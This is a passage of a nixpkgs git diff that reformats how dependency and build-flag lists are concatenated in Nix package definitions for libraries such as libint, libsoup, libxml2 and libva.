   propagatedBuildInputs = [
     udev
diff --git a/pkgs/development/libraries/libint/default.nix b/pkgs/development/libraries/libint/default.nix
index dbf62d6db2a9..f03050cf4c89 100644
--- a/pkgs/development/libraries/libint/default.nix
+++ b/pkgs/development/libraries/libint/default.nix
@@ -176,39 +176,39 @@ let
       python3
       perl
       gmpxx
-    ] ++ lib.optional enableFortran gfortran;
+    ]
+    ++ lib.optional enableFortran gfortran;
 
     buildInputs = [
       boost
       eigen
     ];
 
-    configureFlags =
-      [
-        "--with-max-am=${builtins.toString maxAm}"
-        "--with-eri-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eriAm)}"
-        "--with-eri3-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri3Am)}"
-        "--with-eri2-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri2Am)}"
-        "--with-eri-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eriOptAm)}"
-        "--with-eri3-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri3OptAm)}"
-        "--with-eri2-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri2OptAm)}"
-        "--with-cartgauss-ordering=${cartGaussOrd}"
-        "--with-shgauss-ordering=${shGaussOrd}"
-        "--with-shell-set=${shellSet}"
-      ]
-      ++ lib.optional enableFMA "--enable-fma"
-      ++ lib.optional (eriDeriv > 0) "--enable-eri=${builtins.toString eriDeriv}"
-      ++ lib.optional (eri2Deriv > 0) "--enable-eri2=${builtins.toString eri2Deriv}"
-      ++ lib.optional (eri3Deriv > 0) "--enable-eri3=${builtins.toString eri3Deriv}"
-      ++ lib.optionals enableOneBody [
-        "--enable-1body=${builtins.toString oneBodyDerivOrd}"
-        "--enable-1body-property-derivs"
-      ]
-      ++ lib.optional (multipoleOrd > 0) "--with-multipole-max-order=${builtins.toString multipoleOrd}"
-      ++ lib.optional enableGeneric "--enable-generic"
-      ++ lib.optional enableContracted "--enable-contracted-ints"
-      ++ lib.optional eri3PureSh "--enable-eri3-pure-sh"
-      ++ lib.optional eri2PureSh "--enable-eri2-pure-sh";
+    configureFlags = [
+      "--with-max-am=${builtins.toString maxAm}"
+      "--with-eri-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eriAm)}"
+      "--with-eri3-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri3Am)}"
+      "--with-eri2-max-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri2Am)}"
+      "--with-eri-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eriOptAm)}"
+      "--with-eri3-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri3OptAm)}"
+      "--with-eri2-opt-am=${lib.concatStringsSep "," (builtins.map builtins.toString eri2OptAm)}"
+      "--with-cartgauss-ordering=${cartGaussOrd}"
+      "--with-shgauss-ordering=${shGaussOrd}"
+      "--with-shell-set=${shellSet}"
+    ]
+    ++ lib.optional enableFMA "--enable-fma"
+    ++ lib.optional (eriDeriv > 0) "--enable-eri=${builtins.toString eriDeriv}"
+    ++ lib.optional (eri2Deriv > 0) "--enable-eri2=${builtins.toString eri2Deriv}"
+    ++ lib.optional (eri3Deriv > 0) "--enable-eri3=${builtins.toString eri3Deriv}"
+    ++ lib.optionals enableOneBody [
+      "--enable-1body=${builtins.toString oneBodyDerivOrd}"
+      "--enable-1body-property-derivs"
+    ]
+    ++ lib.optional (multipoleOrd > 0) "--with-multipole-max-order=${builtins.toString multipoleOrd}"
+    ++ lib.optional enableGeneric "--enable-generic"
+    ++ lib.optional enableContracted "--enable-contracted-ints"
+    ++ lib.optional eri3PureSh "--enable-eri3-pure-sh"
+    ++ lib.optional eri2PureSh "--enable-eri2-pure-sh";
 
     preConfigure = ''
       ./autogen.sh
@@ -234,7 +234,8 @@ let
     nativeBuildInputs = [
       python3
       cmake
-    ] ++ lib.optional enableFortran gfortran;
+    ]
+    ++ lib.optional enableFortran gfortran;
 
     buildInputs = [
       boost
@@ -244,12 +245,11 @@ let
     # Default is just "double", but SSE2 is available on all x86_64 CPUs.
     # AVX support is advertised, but does not work.
     # Fortran interface is incompatible with changing the LIBINT2_REALTYPE.
-    cmakeFlags =
-      [
-        "-DLIBINT2_SHGAUSS_ORDERING=${shGaussOrd}"
-      ]
-      ++ lib.optional enableFortran "-DENABLE_FORTRAN=ON"
-      ++ lib.optional enableSSE "-DLIBINT2_REALTYPE=libint2::simd::VectorSSEDouble";
+    cmakeFlags = [
+      "-DLIBINT2_SHGAUSS_ORDERING=${shGaussOrd}"
+    ]
+    ++ lib.optional enableFortran "-DENABLE_FORTRAN=ON"
+    ++ lib.optional enableSSE "-DLIBINT2_REALTYPE=libint2::simd::VectorSSEDouble";
 
     # Can only build in the source-tree. A lot of preprocessing magic fails otherwise.
     dontUseCmakeBuildDir = true;
diff --git a/pkgs/development/libraries/libopenshot/default.nix b/pkgs/development/libraries/libopenshot/default.nix
index 2d8798acff10..fe35ff540322 100644
--- a/pkgs/development/libraries/libopenshot/default.nix
+++ b/pkgs/development/libraries/libopenshot/default.nix
@@ -42,24 +42,23 @@ stdenv.mkDerivation (finalAttrs: {
     swig
   ];
 
-  buildInputs =
-    [
-      cppzmq
-      ffmpeg
-      imagemagick
-      jsoncpp
-      libopenshot-audio
-      python3
-      qtbase
-      qtmultimedia
-      zeromq
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    cppzmq
+    ffmpeg
+    imagemagick
+    jsoncpp
+    libopenshot-audio
+    python3
+    qtbase
+    qtmultimedia
+    zeromq
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/libpulsar/default.nix b/pkgs/development/libraries/libpulsar/default.nix
index c255ee432d0e..251ef5544a00 100644
--- a/pkgs/development/libraries/libpulsar/default.nix
+++ b/pkgs/development/libraries/libpulsar/default.nix
@@ -36,14 +36,15 @@ let
   */
   enableCmakeFeature = p: if (p == null || p == false) then "OFF" else "ON";
 
-  defaultOptionals =
-    [ protobuf ]
-    ++ lib.optional snappySupport snappy.dev
-    ++ lib.optional zlibSupport zlib
-    ++ lib.optional zstdSupport zstd
-    ++ lib.optional log4cxxSupport log4cxx
-    ++ lib.optional asioSupport asio
-    ++ lib.optional (!asioSupport) boost;
+  defaultOptionals = [
+    protobuf
+  ]
+  ++ lib.optional snappySupport snappy.dev
+  ++ lib.optional zlibSupport zlib
+  ++ lib.optional zstdSupport zstd
+  ++ lib.optional log4cxxSupport log4cxx
+  ++ lib.optional asioSupport asio
+  ++ lib.optional (!asioSupport) boost;
 
 in
 stdenv.mkDerivation (finalAttrs: rec {
@@ -57,19 +58,19 @@ stdenv.mkDerivation (finalAttrs: rec {
     hash = "sha256-hY6ivTKWgl/2KLeP6MMAdWcM/LJ5b7zoNVRlg6nx6Sc=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ defaultOptionals
-    ++ lib.optional gtestSupport gtest.dev;
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ defaultOptionals
+  ++ lib.optional gtestSupport gtest.dev;
 
   buildInputs = [
     jsoncpp
     openssl
     curl
-  ] ++ defaultOptionals;
+  ]
+  ++ defaultOptionals;
 
   cmakeFlags = [
     "-DBUILD_TESTS=${enableCmakeFeature gtestSupport}"
diff --git a/pkgs/development/libraries/libpwquality/default.nix b/pkgs/development/libraries/libpwquality/default.nix
index 525738a09896..6cb79b823a18 100644
--- a/pkgs/development/libraries/libpwquality/default.nix
+++ b/pkgs/development/libraries/libpwquality/default.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
     "dev"
     "lib"
     "man"
-  ] ++ lib.optionals enablePython [ "py" ];
+  ]
+  ++ lib.optionals enablePython [ "py" ];
 
   src = fetchFromGitHub {
     owner = "libpwquality";
@@ -67,7 +68,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     perl
-  ] ++ lib.optionals enablePython [ (python3.withPackages (ps: with ps; [ setuptools ])) ];
+  ]
+  ++ lib.optionals enablePython [ (python3.withPackages (ps: with ps; [ setuptools ])) ];
   buildInputs = [ cracklib ] ++ lib.optionals enablePAM [ pam ];
 
   configureFlags =
diff --git a/pkgs/development/libraries/libqtdbusmock/default.nix b/pkgs/development/libraries/libqtdbusmock/default.nix
index e56ad38ddb1a..6d91ae4ace51 100644
--- a/pkgs/development/libraries/libqtdbusmock/default.nix
+++ b/pkgs/development/libraries/libqtdbusmock/default.nix
@@ -27,15 +27,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-hVw2HnIHlA7vvt0Sr6F2qVhvBZ33aCeqb9vgbu3rgBo=";
   };
 
-  postPatch =
-    ''
-      # Workaround for "error: expected unqualified-id before 'public'" on "**signals"
-      sed -i -e '/add_definitions/a -DQT_NO_KEYWORDS' CMakeLists.txt
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      # Don't build tests when we're not running them
-      sed -i -e '/add_subdirectory(tests)/d' CMakeLists.txt
-    '';
+  postPatch = ''
+    # Workaround for "error: expected unqualified-id before 'public'" on "**signals"
+    sed -i -e '/add_definitions/a -DQT_NO_KEYWORDS' CMakeLists.txt
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    # Don't build tests when we're not running them
+    sed -i -e '/add_subdirectory(tests)/d' CMakeLists.txt
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/librdf/redland.nix b/pkgs/development/libraries/librdf/redland.nix
index 3391a8cf6ee6..df5250c91559 100644
--- a/pkgs/development/libraries/librdf/redland.nix
+++ b/pkgs/development/libraries/librdf/redland.nix
@@ -33,32 +33,33 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     perl
     pkg-config
-  ] ++ lib.optional withPostgresql libpq.pg_config;
+  ]
+  ++ lib.optional withPostgresql libpq.pg_config;
 
-  buildInputs =
-    [
-      openssl
-      libxslt
-      curl
-      pcre
-      libxml2
-      gmp
-    ]
-    ++ lib.optional withMysql libmysqlclient
-    ++ lib.optional withSqlite sqlite
-    ++ lib.optional withPostgresql libpq
-    ++ lib.optional withBdb db;
+  buildInputs = [
+    openssl
+    libxslt
+    curl
+    pcre
+    libxml2
+    gmp
+  ]
+  ++ lib.optional withMysql libmysqlclient
+  ++ lib.optional withSqlite sqlite
+  ++ lib.optional withPostgresql libpq
+  ++ lib.optional withBdb db;
 
   propagatedBuildInputs = [ librdf_rasqal ];
 
   postInstall = "rm -rvf $out/share/gtk-doc";
 
-  configureFlags =
-    [ "--with-threads" ]
-    ++ lib.optionals withBdb [
-      "--with-bdb-include=${db.dev}/include"
-      "--with-bdb-lib=${db.out}/lib"
-    ];
+  configureFlags = [
+    "--with-threads"
+  ]
+  ++ lib.optionals withBdb [
+    "--with-bdb-include=${db.dev}/include"
+    "--with-bdb-lib=${db.out}/lib"
+  ];
 
   # Fix broken DT_NEEDED in lib/redland/librdf_storage_sqlite.so.
   NIX_CFLAGS_LINK = "-lraptor2";
diff --git a/pkgs/development/libraries/librealsense/default.nix b/pkgs/development/libraries/librealsense/default.nix
index 9639193ffb58..de33e8d0c968 100644
--- a/pkgs/development/libraries/librealsense/default.nix
+++ b/pkgs/development/libraries/librealsense/default.nix
@@ -40,27 +40,26 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-Stx337mGcpMCg9DlZmvX4LPQmCSzLRFcUQPxaD/Y0Ds=";
   };
 
-  buildInputs =
+  buildInputs = [
+    libusb1
+    gcc.cc.lib
+    nlohmann_json
+  ]
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
+  ++ lib.optionals enablePython (
+    with pythonPackages;
     [
-      libusb1
-      gcc.cc.lib
-      nlohmann_json
+      python
+      pybind11
     ]
-    ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
-    ++ lib.optionals enablePython (
-      with pythonPackages;
-      [
-        python
-        pybind11
-      ]
-    )
-    ++ lib.optionals enableGUI [
-      libgbm
-      gtk3
-      glfw
-      libGLU
-      curl
-    ];
+  )
+  ++ lib.optionals enableGUI [
+    libgbm
+    gtk3
+    glfw
+    libGLU
+    curl
+  ];
 
   patches = [
     ./py_pybind11_no_external_download.patch
@@ -75,41 +74,38 @@ stdenv.mkDerivation rec {
         'find_package(nlohmann_json 3.11.3 REQUIRED)'
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_EXAMPLES=ON"
-      "-DBUILD_GRAPHICAL_EXAMPLES=${lib.boolToString enableGUI}"
-      "-DBUILD_GLSL_EXTENSIONS=${lib.boolToString enableGUI}"
-      "-DCHECK_FOR_UPDATES=OFF" # activated by BUILD_GRAPHICAL_EXAMPLES, will make it download and compile libcurl
-    ]
-    ++ lib.optionals enablePython [
-      "-DBUILD_PYTHON_BINDINGS:bool=true"
-      "-DXXNIX_PYTHON_SITEPACKAGES=${placeholder "out"}/${pythonPackages.python.sitePackages}"
-    ]
-    ++ lib.optional cudaSupport "-DBUILD_WITH_CUDA:bool=true";
+  cmakeFlags = [
+    "-DBUILD_EXAMPLES=ON"
+    "-DBUILD_GRAPHICAL_EXAMPLES=${lib.boolToString enableGUI}"
+    "-DBUILD_GLSL_EXTENSIONS=${lib.boolToString enableGUI}"
+    "-DCHECK_FOR_UPDATES=OFF" # activated by BUILD_GRAPHICAL_EXAMPLES, will make it download and compile libcurl
+  ]
+  ++ lib.optionals enablePython [
+    "-DBUILD_PYTHON_BINDINGS:bool=true"
+    "-DXXNIX_PYTHON_SITEPACKAGES=${placeholder "out"}/${pythonPackages.python.sitePackages}"
+  ]
+  ++ lib.optional cudaSupport "-DBUILD_WITH_CUDA:bool=true";
 
   # ensure python package contains its __init__.py. for some reason the install
   # script does not do this, and it's questionable if intel knows it should be
   # done
   # ( https://github.com/IntelRealSense/meta-intel-realsense/issues/20 )
-  postInstall =
-    ''
-      substituteInPlace $out/lib/cmake/realsense2/realsense2Targets.cmake \
-      --replace-fail "\''${_IMPORT_PREFIX}/include" "$dev/include"
-    ''
-    + lib.optionalString enablePython ''
-      cp ../wrappers/python/pyrealsense2/__init__.py $out/${pythonPackages.python.sitePackages}/pyrealsense2
-    '';
+  postInstall = ''
+    substituteInPlace $out/lib/cmake/realsense2/realsense2Targets.cmake \
+    --replace-fail "\''${_IMPORT_PREFIX}/include" "$dev/include"
+  ''
+  + lib.optionalString enablePython ''
+    cp ../wrappers/python/pyrealsense2/__init__.py $out/${pythonPackages.python.sitePackages}/pyrealsense2
+  '';
 
   meta = with lib; {
     description = "Cross-platform library for Intel® RealSense™ depth cameras (D400 series and the SR300)";
diff --git a/pkgs/development/libraries/libressl/default.nix b/pkgs/development/libraries/libressl/default.nix
index 00bf49f5dc25..9e2503c1da79 100644
--- a/pkgs/development/libraries/libressl/default.nix
+++ b/pkgs/development/libraries/libressl/default.nix
@@ -38,7 +38,8 @@ let
         "-DCMAKE_C_FLAGS=-DHAVE_GNU_STACK"
         # libressl will append this to the regular prefix for libdir
         "-DCMAKE_INSTALL_LIBDIR=lib"
-      ] ++ lib.optional buildShared "-DBUILD_SHARED_LIBS=ON";
+      ]
+      ++ lib.optional buildShared "-DBUILD_SHARED_LIBS=ON";
 
       # The autoconf build is broken as of 2.9.1, resulting in the following error:
       # libressl-2.9.1/tls/.libs/libtls.a', needed by 'handshake_table'.
diff --git a/pkgs/development/libraries/librest/default.nix b/pkgs/development/libraries/librest/default.nix
index 11652f14c589..bbec9328260b 100644
--- a/pkgs/development/libraries/librest/default.nix
+++ b/pkgs/development/libraries/librest/default.nix
@@ -28,16 +28,15 @@ stdenv.mkDerivation rec {
     sha256 = "0513aad38e5d3cedd4ae3c551634e3be1b9baaa79775e53b2dba9456f15b01c9";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      gobject-introspection
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_412
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    gobject-introspection
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_412
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/development/libraries/libsoup/3.x.nix b/pkgs/development/libraries/libsoup/3.x.nix
index 461b2388b44c..5b55009207de 100644
--- a/pkgs/development/libraries/libsoup/3.x.nix
+++ b/pkgs/development/libraries/libsoup/3.x.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
@@ -40,31 +41,29 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      glib
-      python3
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    glib
+    python3
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+    vala
+  ];
 
-  buildInputs =
-    [
-      sqlite
-      libpsl
-      glib.out
-      brotli
-      libnghttp2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libsysprof-capture
-    ];
+  buildInputs = [
+    sqlite
+    libpsl
+    glib.out
+    brotli
+    libnghttp2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libsysprof-capture
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/development/libraries/libsoup/default.nix b/pkgs/development/libraries/libsoup/default.nix
index f15210109e44..ba3cb41169ab 100644
--- a/pkgs/development/libraries/libsoup/default.nix
+++ b/pkgs/development/libraries/libsoup/default.nix
@@ -68,46 +68,43 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      glib
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    glib
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+  ];
 
-  buildInputs =
-    [
-      sqlite
-      libpsl
-      glib.out
-      brotli
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libsysprof-capture
-    ];
+  buildInputs = [
+    sqlite
+    libpsl
+    glib.out
+    brotli
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libsysprof-capture
+  ];
 
   propagatedBuildInputs = [
     glib
     libxml2
   ];
 
-  mesonFlags =
-    [
-      "-Dtls_check=false" # glib-networking is a runtime dependency, not a compile-time dependency
-      "-Dgssapi=disabled"
-      "-Dvapi=${if withIntrospection then "enabled" else "disabled"}"
-      "-Dintrospection=${if withIntrospection then "enabled" else "disabled"}"
-      "-Dgnome=${lib.boolToString gnomeSupport}"
-      "-Dntlm=disabled"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      "-Dsysprof=disabled"
-    ];
+  mesonFlags = [
+    "-Dtls_check=false" # glib-networking is a runtime dependency, not a compile-time dependency
+    "-Dgssapi=disabled"
+    "-Dvapi=${if withIntrospection then "enabled" else "disabled"}"
+    "-Dintrospection=${if withIntrospection then "enabled" else "disabled"}"
+    "-Dgnome=${lib.boolToString gnomeSupport}"
+    "-Dntlm=disabled"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    "-Dsysprof=disabled"
+  ];
 
   env.NIX_CFLAGS_COMPILE = "-lpthread";
 
diff --git a/pkgs/development/libraries/libubox/default.nix b/pkgs/development/libraries/libubox/default.nix
index 55f1cb1a2c4a..f186fbc82412 100644
--- a/pkgs/development/libraries/libubox/default.nix
+++ b/pkgs/development/libraries/libubox/default.nix
@@ -30,8 +30,11 @@ stdenv.mkDerivation {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [ json_c ] ++ lib.optional with_lua lua5_1 ++ lib.optional with_ustream_ssl ustream-ssl;
+  buildInputs = [
+    json_c
+  ]
+  ++ lib.optional with_lua lua5_1
+  ++ lib.optional with_ustream_ssl ustream-ssl;
 
   postInstall = lib.optionalString with_ustream_ssl ''
     for fin in $(find ${ustream-ssl} -type f); do
diff --git a/pkgs/development/libraries/libunique/default.nix b/pkgs/development/libraries/libunique/default.nix
index a8fa987f673a..0a5d464b5169 100644
--- a/pkgs/development/libraries/libunique/default.nix
+++ b/pkgs/development/libraries/libunique/default.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
     ./1.1.6-fix-test.patch
     ./1.1.6-G_CONST_RETURN.patch
     ./1.1.6-include-terminator.patch
-  ] ++ [ ./gcc7-bug.patch ];
+  ]
+  ++ [ ./gcc7-bug.patch ];
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [
diff --git a/pkgs/development/libraries/libunwind/default.nix b/pkgs/development/libraries/libunwind/default.nix
index f0f7de192f44..7f1acca9959d 100644
--- a/pkgs/development/libraries/libunwind/default.nix
+++ b/pkgs/development/libraries/libunwind/default.nix
@@ -43,20 +43,19 @@ stdenv.mkDerivation (finalAttrs: {
     "devman"
   ];
 
-  configureFlags =
-    [
-      # Starting from 1.8.1 libunwind installs testsuite by default.
-      # As we don't run the tests we disable it (this also fixes circular
-      # reference install failure).
-      "--disable-tests"
-      # Without latex2man, no man pages are installed despite being
-      # prebuilt in the source tarball.
-      "LATEX2MAN=${buildPackages.coreutils}/bin/true"
-    ]
-    # See https://github.com/libunwind/libunwind/issues/693
-    ++ lib.optionals (with stdenv.hostPlatform; isAarch64 && isMusl && !isStatic) [
-      "CFLAGS=-mno-outline-atomics"
-    ];
+  configureFlags = [
+    # Starting from 1.8.1 libunwind installs testsuite by default.
+    # As we don't run the tests we disable it (this also fixes circular
+    # reference install failure).
+    "--disable-tests"
+    # Without latex2man, no man pages are installed despite being
+    # prebuilt in the source tarball.
+    "LATEX2MAN=${buildPackages.coreutils}/bin/true"
+  ]
+  # See https://github.com/libunwind/libunwind/issues/693
+  ++ lib.optionals (with stdenv.hostPlatform; isAarch64 && isMusl && !isStatic) [
+    "CFLAGS=-mno-outline-atomics"
+  ];
 
   propagatedBuildInputs = [ xz ];
 
diff --git a/pkgs/development/libraries/libva/1.nix b/pkgs/development/libraries/libva/1.nix
index 05680090878a..ae0ac2d3e2ea 100644
--- a/pkgs/development/libraries/libva/1.nix
+++ b/pkgs/development/libraries/libva/1.nix
@@ -40,17 +40,18 @@ stdenv.mkDerivation rec {
     wayland-scanner
   ];
 
-  buildInputs =
-    [ libdrm ]
-    ++ lib.optionals (!minimal) [
-      libva1-minimal
-      libX11
-      libXext
-      libXfixes
-      wayland
-      libffi
-      libGL
-    ];
+  buildInputs = [
+    libdrm
+  ]
+  ++ lib.optionals (!minimal) [
+    libva1-minimal
+    libX11
+    libXext
+    libXfixes
+    wayland
+    libffi
+    libGL
+  ];
   # TODO: share libs between minimal and !minimal - perhaps just symlink them
 
   # Add FHS paths for non-NixOS applications.
diff --git a/pkgs/development/libraries/libva/default.nix b/pkgs/development/libraries/libva/default.nix
index 9fd523a70610..a52191590f3f 100644
--- a/pkgs/development/libraries/libva/default.nix
+++ b/pkgs/development/libraries/libva/default.nix
@@ -46,18 +46,20 @@ stdenv.mkDerivation (finalAttrs: {
     meson
     pkg-config
     ninja
-  ] ++ lib.optional (!minimal) wayland-scanner;
+  ]
+  ++ lib.optional (!minimal) wayland-scanner;
 
-  buildInputs =
-    [ libdrm ]
-    ++ lib.optionals (!minimal) [
-      libX11
-      libXext
-      libXfixes
-      wayland
-      libffi
-      libGL
-    ];
+  buildInputs = [
+    libdrm
+  ]
+  ++ lib.optionals (!minimal) [
+    libX11
+    libXext
+    libXfixes
+    wayland
+    libffi
+    libGL
+  ];
 
   mesonFlags = lib.optionals stdenv.hostPlatform.isLinux [
     # Add FHS and Debian paths for non-NixOS applications
@@ -98,16 +100,15 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://raw.githubusercontent.com/intel/libva/${finalAttrs.version}/NEWS";
     license = licenses.mit;
     maintainers = with maintainers; [ SuperSandro2000 ];
-    pkgConfigModules =
-      [
-        "libva"
-        "libva-drm"
-      ]
-      ++ lib.optionals (!minimal) [
-        "libva-glx"
-        "libva-wayland"
-        "libva-x11"
-      ];
+    pkgConfigModules = [
+      "libva"
+      "libva-drm"
+    ]
+    ++ lib.optionals (!minimal) [
+      "libva-glx"
+      "libva-wayland"
+      "libva-x11"
+    ];
     platforms = platforms.unix;
     badPlatforms = [
       # Mandatory libva shared library.
diff --git a/pkgs/development/libraries/libwnck/default.nix b/pkgs/development/libraries/libwnck/default.nix
index 5383aa71f863..d0a9c4867549 100644
--- a/pkgs/development/libraries/libwnck/default.nix
+++ b/pkgs/development/libraries/libwnck/default.nix
@@ -38,20 +38,19 @@ stdenv.mkDerivation rec {
     sha256 = "VadETsH7uVwIbUCWc4jyMbXAu8jP+qCGv5KQrkSeUdU=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      gobject-introspection
-      gtk-doc
-      docbook_xsl
-      docbook_xml_dtd_412
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    gobject-introspection
+    gtk-doc
+    docbook_xsl
+    docbook_xml_dtd_412
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     libX11
diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index 31e058c01048..e72229553329 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -35,15 +35,14 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "libxml2";
   version = "2.13.8";
 
-  outputs =
-    [
-      "bin"
-      "dev"
-      "out"
-      "devdoc"
-    ]
-    ++ lib.optional pythonSupport "py"
-    ++ lib.optional (enableStatic && enableShared) "static";
+  outputs = [
+    "bin"
+    "dev"
+    "out"
+    "devdoc"
+  ]
+  ++ lib.optional pythonSupport "py"
+  ++ lib.optional (enableStatic && enableShared) "static";
   outputMan = "bin";
 
   src = fetchurl {
@@ -75,29 +74,27 @@ stdenv.mkDerivation (finalAttrs: {
       zlib
     ];
 
-  propagatedBuildInputs =
-    [
-      findXMLCatalogs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals icuSupport [
-      icu
-    ];
+  propagatedBuildInputs = [
+    findXMLCatalogs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals icuSupport [
+    icu
+  ];
 
-  configureFlags =
-    [
-      "--exec-prefix=${placeholder "dev"}"
-      (lib.enableFeature enableStatic "static")
-      (lib.enableFeature enableShared "shared")
-      (lib.withFeature icuSupport "icu")
-      (lib.withFeature pythonSupport "python")
-      (lib.optionalString pythonSupport "PYTHON=${python.pythonOnBuildForHost.interpreter}")
-    ]
-    # avoid rebuilds, can be merged into list in version bumps
-    ++ lib.optional enableHttp "--with-http"
-    ++ lib.optional zlibSupport "--with-zlib";
+  configureFlags = [
+    "--exec-prefix=${placeholder "dev"}"
+    (lib.enableFeature enableStatic "static")
+    (lib.enableFeature enableShared "shared")
+    (lib.withFeature icuSupport "icu")
+    (lib.withFeature pythonSupport "python")
+    (lib.optionalString pythonSupport "PYTHON=${python.pythonOnBuildForHost.interpreter}")
+  ]
+  # avoid rebuilds, can be merged into list in version bumps
+  ++ lib.optional enableHttp "--with-http"
+  ++ lib.optional zlibSupport "--with-zlib";
 
   installFlags = lib.optionals pythonSupport [
     "pythondir=\"${placeholder "py"}/${python.sitePackages}\""
@@ -119,14 +116,13 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace python/libxml2mod.la --replace-fail "$dev/${python.sitePackages}" "$py/${python.sitePackages}"
   '';
 
-  postFixup =
-    ''
-      moveToOutput bin/xml2-config "$dev"
-      moveToOutput lib/xml2Conf.sh "$dev"
-    ''
-    + lib.optionalString (enableStatic && enableShared) ''
-      moveToOutput lib/libxml2.a "$static"
-    '';
+  postFixup = ''
+    moveToOutput bin/xml2-config "$dev"
+    moveToOutput lib/xml2Conf.sh "$dev"
+  ''
+  + lib.optionalString (enableStatic && enableShared) ''
+    moveToOutput lib/libxml2.a "$static"
+  '';
 
   passthru = {
     inherit pythonSupport;
diff --git a/pkgs/development/libraries/libxslt/default.nix b/pkgs/development/libraries/libxslt/default.nix
index 206fe487fd0a..d133591ad6ea 100644
--- a/pkgs/development/libraries/libxslt/default.nix
+++ b/pkgs/development/libraries/libxslt/default.nix
